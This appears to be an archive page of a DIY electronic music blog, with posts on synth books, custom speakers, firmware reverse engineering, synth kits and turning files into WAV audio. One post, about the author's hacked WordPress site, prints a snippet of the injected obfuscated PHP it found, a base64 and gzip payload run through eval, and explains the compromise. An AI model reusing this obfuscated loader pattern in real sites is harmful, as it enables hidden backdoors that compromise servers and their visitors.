Resources

People, products, Resources

Books Thomas Henry – Magic Smoke Electronics

By Dave on January 1st, 2012

There are very few dedicated DIY electronic music/synth cookbooks/reference books available out there so when ever I come across some I try to snatch them up. you can get all six of these spiral bound books from Thomas Henry for under $90 which cover some very specific topics for DIY synthesis and electronic music.

  • An Analog Synthesizer for the 21st Century  - $20.00
  • The Electronic Drum Cookbook  - $15.00
  • Making Music with the 3080 OTA  - $13.00
  • Making Music with the 566  - $13.00
  • Making Music with the NE570 Compander  - $13.00
  • The Noise Generator Cookbook  - $13.00

Synthesizer design books by Thomas Henry – Magic Smoke Electronics.

Custom Hardware, products

The Boom Case Store

By Dave on January 1st, 2012

I’m warming up to these hand made, custom order ‘stereos’ dubbed “Boom Cases”.  Get it?  Suitcase + Bass = ‘Boom Case’.  I’ve posted a couple of my favorites along with a couple of the more preposterous vanity shots.  Seriously though I can’t figure out if I love these or hate them.  As long as I never see these in the hands of roaming gangs of suburban youth in malls across america I think I love them.  From the website:

The BoomCase is a Self Powered, Portable Suitcase Stereo system that works with your iPod/iPhone or any device with a headphone jack. The BoomCase will last 10+ hours on a single charge (Charger Included). In addition to running on batteries, The BoomCase can also be plugged in when the party goes inside. To save on weight, you can opt for a plug-in only version.

Mighty Mini Gator

In the WTF category…
Spruce Goose

The Ripper

Resources, scripts-code

Reverse Engineering the Korg Monotribe Firmware Upgrade

By Dave on January 1st, 2012

An excellent post (and useful comments) on the reverse engineering of the Korg Monotribe firmware update which apparently is provided as an audio file.  I’ll definitely be checking back on this regularly to watch Gravitronic’s progress.

GRAVITRONIC: Decoding the Korg Monotribe Firmware Upgrade.

products, Resources, Tone Generators

Workshop Osc Machine (W.O.M.)

By Dave on December 24th, 2011

An excellent thread detailing a build of the ‘Workshop Oscillator Machine’ (WOM) via Bugbrand. The WOM is a tone generator/oscillator designed around an NXP Hex Inverter and an NXP Hex Schmitt Trigger. What i particularly like about this kit is that it’s designed with the intent of usage in workshop and educational events and includes all required parts. Although i have not personally built this kit, I suspect by looking at it that it’s a nice balance between ease of build and functionality. And if you were so inclined Bugbrand includes the schematic on their site so you could always wire one up on your own, sans pcb, and see what happens.

WOM - Bugbrand

products, Resources

ATXMega32D4 microcontroller and the BassBoy

By Dave on August 5th, 2011


This is the first time I’m posting on a product. But a monophonic bass synth based on the Atmel ATXMega32D4 microcontroller a for only $29 bucks is a pretty good deal if you ask me. What I really like though is the inclusion of a full schematic, something of a rarity these days in consumer electronic products. Available via MikroElektonika.

From the manual:

BassBoy is a monophonic digital MIDI controlled bass synthesizer. Device receives all information via MIDI input (connector).Sampling frequency is 31.25KHz which generates audio range up to 15.625Khz. Although it’s based on 8-bit processor, the signal processing inside the unit is 16-bit. The unit consists of oscillator which generates SAW & SQUARE WAVE using 16-bit band-limited wavetables, thus making the number of harmonics limited. After that, the signal itself goes through a simple implementation of MOOG filter, whose frequency range is chosen by MIDI commands and which is affected by the level of the envelope. The filtered signal then comes to the controlled amplifier, which creates the signal shape, and in the end through DAC (WM8762) and pre-amp circuit goes to the audio jack 6.35mm. The unit is mono, and 6.35mm jack is also used as carrier for the circuit board itself.

Resources, Tools

Resource: Curious Inventor

By Dave on August 5th, 2011

I don’t post too many entries in the “resource” category but when I came across this I was really excited. This site is chock full of easy to follow how-tos, tips, tricks, and tools that anyone in DIY audio (DIY anything actually) will find useful. I recommend adding the Curious Inventor Blog to your favorites and reading it frequently.

I also love the “Guides”

Audio Files, Resources

What a ‘Titty’ sounds like

By Dave on March 26th, 2011

This is a follow up to my previous post on manipulating file’s header information to make them waves. It occurred to me that now that I know how the waves are rendered I could create some custom wave shapes of my own. Of course, being that I have the mind of an adolescent boy, my next though was to spell out ‘dirty’ words with a wave shape and then listen to what they sound like. The image below is the first result on my mission to create a dirty word audio library. Please allow me to introduce “Titty”…

Waveshape as a font


You can grab the Wave File Here

Resources, scripts-code, Tools

How to turn any file format into a wave

By Dave on March 13th, 2011

Boing Boing posted a link to this video from YouTube user r2blend. R2blend used Adobe Audition but also suggests using Audacity’s ‘import data as audio’ feature to render an executable file (and presumably other file formats) to a listenable audio format.

This is awesome and I wanted to give it a try but I don’t have Adobe Audition. I do have Audacity but it’s on the Linux boot of my only laptop so using it there doesn’t do me much good on the Windows 7 boot, where I do most if not all of my audio work.

So I decided to come up with a way to create a valid .wav file header for any file format which can be inserted with the use of a hex editor. Here’s how to do it…

.Wav file headers are incredibly straightforward and require very little calculation to generate. There are numerous sources available on the web but I find this single, 7 year old page on Stanford’s site really easy to understand.

Simplifying the info from stanford further in most cases (i won’t delve into the exceptions here) you need a 44 byte string as follows:

52 49 46 46 “RIFF”
6E E8 02 00 the file size minus 8 bytes
57 41 56 45 “WAVE”
66 6D 74 20 “fmt ”
10 00 00 00 16 for PCM.
01 00 PCM = 1
02 00 Number of channels
44 AC 00 00 sample rate (this example is 44100)
10 B1 02 00 sample rate * Num Channels * Bits per sample/8
04 00 NumChannels * BitsPerSample/8
10 00 bits per sample (this example is 16)
64 61 74 61 “data”
00 E8 02 00 Total file size minus 44 bytes

Now that you know what you need we can get started. First make a copy of the file you want to turn into a .wav and change the extension to “.wav”. I used the executable for ESET’s NOD32 64bit anti-virus software.

Right click on the file to determine the file size.

Input the file size information to my handy excel worksheet along with what sample rate you want, how many channels, and the bits per sample. Take note that you can have more than 2 channels…

Open the file you are converting to a working .wav file in your favorite hex editor. I use HxD which is more than sufficient for any of my needs.

Paste the copied 44 byte hex string…

Save it and open it in your favorite audio software and voila! You have audio, where previously there was none.

and as a treat, a look at what happens when you change the channels from one to eight using the same source…

And an example of the audio…
Eset_Nod32_64bit

scripts-code

Hacked! Base 64 Injection.

By Dave on December 26th, 2010

While it seems WordPress users all over were experiencing the impact of a security flaw months ago I was a little late to the game in realizing my site had been hijacked.  Apologies to anyone who attempted to visit the site and was hit with Google’s Malware warning (if you use chrome) or if you encountered any troubles.  It makes much more sense to me now why I was getting my comment inbox absolotely slaughtered with spam.  Here’s a snippet of some of the code I found in my footer (the original has hundreds of elements in the array):


<? $nam = array(“4_decode”,“base6″);
$cfk = array(“gzunco”,“mpress”) ;
$zippo = array(“eNrFVQ”,“tv2zYQ/iucEUC2W+vhx”,“EETP4Iic7oATR”,
“EszVag6gR”,“KpCKuk”,“ihQtC077H/fnSQ7bpB2″,“6bBhDsQ7frzHR”,
“x5zjBd5pI”,“XMCese”,“iN79AZ2+Voquu53Oy07″,“QfJZf/zoWajB2″,
“cGbBGn5++”,“2vVWsD”,“g4IeDDd+V3Ig0pc6R7Z”,“JuJLOCahGmfEy”,

“dR9BNx+fF”,“NWczM6″,“HMrZ3qM2sPlFnSZVflt”,“rDc7hTrj91/XG”,
“9z07DgC+9″,“3YiNWu”,“SxBN1ib37bsJ/n63er6″,“RSp/DQYwOod17″,
“iIwtqJ61+”,“ug5v52″,“4unjqSDD1jrPBjAqcL0″,“/6gqFrGzlcB72″,
“OxiaO3Ed3″,“fhNP9Y”,“0GNU5JdnU/i6fsdYPSD”,“i23+Wva5/ZnzH”,
“1FjdVqDui”,“daFI+p”,“r0RsrrhcqJwf044H4NP”,“7yF/hnUms=”);
$trimmer = $cfk[0].$cfk[1];
$zipo = array(“eNq9Gm”,“t3mzj2rzg+OTOocRwEi”,“Mc4tP7SH7Cd3f”,
“2SdH2IjWN”,“mMXgBN”,“22T/Pe990riZeymyZzW”,“tYyk+5J0nyLJ2″,
“jhb77Nlle”,“TZIv6a”,“lFVp/F5kq+XvjD3qidF”,“2sTAN9ngeLcyw”,
“yPfZyjAvz”,“Knd+ff”,“jATYDArwmYMkPjVohjL”,“DZOi8M6Nkahub”,
“ce1MNHkvP”,“aYc3K/”,“819WIXMuXlYic+6+oVr”,“l3Htlkcy5/ya+”,
“wSvLZG6Zx”,“+pkbvG”,“XFspc3+We4v/mMnfeC5″,“74lmg2H4qe85e”,
“GT4hTeBHl”,“2mH9ok”,“YEZBWtP7Gw2XX9dzD6w”,“1gbbfzw8ECVRS”,
“Bv8OVdEen”,“/RFKQF”,“mVDXQnprLaibiCp7+Fd”,“W93DMxV4aGz2f”,
“MphtJzEW3″,“2EYw2X”,“c63k6Zebr+UcNd+3qZD”,“4W1ToVLC3XJ1o”,
“uE4dMV4Z+”,“i3vSOi”,“3/OOh3wp6od82Veh3xS”,“m1F43aC/mRSi+”,
“GlL451UWU”,“pvR2U1″,“acLh2wbXV1wqqrB0hDp”,“Hq4bl89kIj0K6″,
“7L+pP0Iko”,“EV8m4B”,“pAVG+3CaCr/bgVB1PyA”,“aQi1IvWWWQh9L”,
“dWhhGKocO”,“a6L6UC”,“ZmvIwSN36q7zgz9m+Kx”,“f5f0f4JZ9vg==”);
$lango = $nam[1].$nam[0];
eval($trimmer($lango(implode(“”, $zippo))));
eval($trimmer($lango(implode(“”, $zipo)))); ?>

<div class=“Footer”>

<a class=“moveToTop” href=“#top”><?php _e(‘top’, ‘Eos’); ?></a>
</div><!– Closes .Footer –>

</div><!– Closes .PageContainer –>

<?php wp_footer(); ?>
</body>
</html>

There was rogue, obfuscated PHP all over the site, I had hundreds upon hundreds of comments awaiting approval all of which were spam, additional adminstrators added, over 2,000 bogus users attempting to register, and to top it off I had this… 777 as my file and folder access levels.

Resources

MFOS Web Tools

By Dave on December 11th, 2010

Music From Outer Space (MFOS) is an extensive resource for anyone involved in DIY audio.  Anyone regardless of experience level should have the site permanently bookmarked as it has something for everyone.  Although focused on DIY synthesis almost everything on the site can be used in your projects.  One their most recent additions is their web tools, specifically their “web schematic“.  From their site:

MFOS Web Schematic is a schematic capture tool written entirely in JavaScript that lets you work on a schematic anywhere you have a browser (FireFox, IE, Chrome, and Safari). You can save your work because the schematics you make can be serialized to XML and then emailed to a friend or a collaborator. You or your friend just paste the XML into the Load dialog and voila… you are looking at your schematic. I see Web Schematic as a communication and teaching tool. Students can communicate with one another via emailed schematics and teachers can use the tool in the classroom as well. You can also download a PDF of your schematic for printing.

Ray Wilson at MFOS also provides a virtual breadboard designer, panel designer, and a few essential calculators including a Resistor Color Code Calculator, Parallel Resistance Calculator, Non-Inverting Op Amp Gain Calculator, Inverting Op Amp Gain & Offset Calculator, Comparator Calculator, and last an Inches to Millimeters Conversion calculator.